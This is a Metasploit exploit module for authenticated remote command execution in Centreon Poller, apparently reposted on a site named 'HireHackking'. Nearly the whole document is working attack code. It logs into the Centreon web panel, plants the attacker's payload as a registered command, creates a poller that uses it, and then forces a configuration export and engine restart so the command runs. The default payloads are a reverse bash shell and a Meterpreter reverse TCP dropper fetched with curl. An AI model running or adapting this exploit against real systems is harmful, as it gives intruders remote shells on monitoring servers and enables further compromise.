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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',
      'Description' => %q{
        TODO
      },
      'Author' => [
        'Omri Baso', # discovery
        'Fabien Aunay', # discovery
        'mekhalleh (RAMELLA Sébastien)' # this module
      ],
      'References' => [
        # TODO: waiting for CVE
        ['EDB', '47977']
      ],
      'DisclosureDate' => '2020-01-27',
      'License' => MSF_LICENSE,
      'Platform' => ['linux', 'unix'],
      'Arch' => [ARCH_CMD, ARCH_X64],
      'Privileged' => true,
      'Targets' => [
        ['Reverse shell (In-Memory)',
          'Platform' => 'unix',
          'Type' => :cmd_unix,
          'Arch' => ARCH_CMD,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_bash'
          }
        ],
        ['Meterpreter (Dropper)',
          'Platform' => 'linux',
          'Type' => :meterpreter,
          'Arch' => ARCH_X64,
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
            'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
  end

  def create_new_poller(poller_name, command_id)
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'name' => poller_name,
        'ns_ip_address' => '127.0.0.1',
        'localhost[localhost]' => '1',
        'is_default[is_default]' => '0',
        'remote_id' => '',
        'ssh_port' => '22',
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
        'engine_start_command' => 'service centengine start',
        'engine_stop_command' => 'service centengine stop',
        'engine_restart_command' => 'service centengine restart',
        'engine_reload_command' => 'service centengine reload',
        'nagios_bin' => '/usr/sbin/centengine',
        'nagiostats_bin' => '/usr/sbin/centenginestats',
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
        'broker_reload_command' => 'service cbd reload',
        'centreonbroker_cfg_path' => '/etc/centreon-broker',
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
        'centreonbroker_logs_path' => '/var/log/centreon-broker',
        'centreonconnector_path' => '',
        'init_script_centreontrapd' => 'centreontrapd',
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
        'pollercmd[0]' => command_id,
        'clone_order_pollercmd_0' => '',
        'ns_activate[ns_activate]' => '1',
        'submitA' => 'Save',
        'id' => '',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    return true
  end

  def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    poller_name = rand_text_alpha(8..42)

    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'command_name' => cmd_name,
        'command_type[command_type]' => '3',
        'command_line' => command,
        'resource' => '$CENTREONPLUGINS$',
        'plugins' => '/Centreon/SNMP',
        'macros' => '$ADMINEMAIL$',
        'command_example' => '',
        'listOfArg' => '',
        'listOfMacros' => '',
        'connectors' => '',
        'graph_id' => '',
        'command_activate[command_activate]' => '1',
        'command_comment' => '',
        'submitA' => 'Save',
        'command_id' => '',
        'type' => '3',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
    poller_id = get_poller_id(poller_name)

    ## Export configuration to reload to trigger the exploit.
    unless poller_id.nil?
      restart_exportation(poller_id)
    end
  end

  def get_auth
    print_status("Send authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => @cookies,
        'vars_post'  => {
          'useralias' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'submitLogin' => 'Connect',
          'centreon_token' => token
        }
      )
      return false unless response

      if response.redirect?
        if response.headers['location'].include?('main.php')
          print_status('Successful authenticated.')
          @cookies = response.get_cookies
          return true
        end
      end
    end

    print_bad('Your credentials are incorrect.')
    return false
  end

  def get_command_id(cmd_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {
          'p' => '60803',
          'type' => '3'
      }
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_poller_id(poller_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {'p' => '60901'}
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_session
    response = send_request_cgi(
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
  end

  def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
      'method' => 'GET',
      'uri' => uri,
      'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)

    return nil unless response
    return response.get_html_document.at('input[@name="centreon_token"]')['value']
  end

  def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})

    vprint_status(' -- Generating files.')
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'debug' => 'true',
          'generate' => 'true'
        }
      )
      return nil unless response

      vprint_status(' -- Restarting engine.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'mode' => '2'
        }
      )
      return nil unless response

      vprint_status(' -- Executing command.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
        'cookie' => @cookies,
        'vars_post' => {'poller' => poller_id}
      )
      return nil unless response
    end
  end

  def check
    # TODO: Detection by version number (waiting to know the impacted versions).
  end

  def exploit
    ## TODO: check

    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
      case target['Type']
      when :cmd_unix
        execute_command(payload.encoded)
      when :meterpreter
        execute_command(generate_cmdstager.join)
      end
    end
  end

end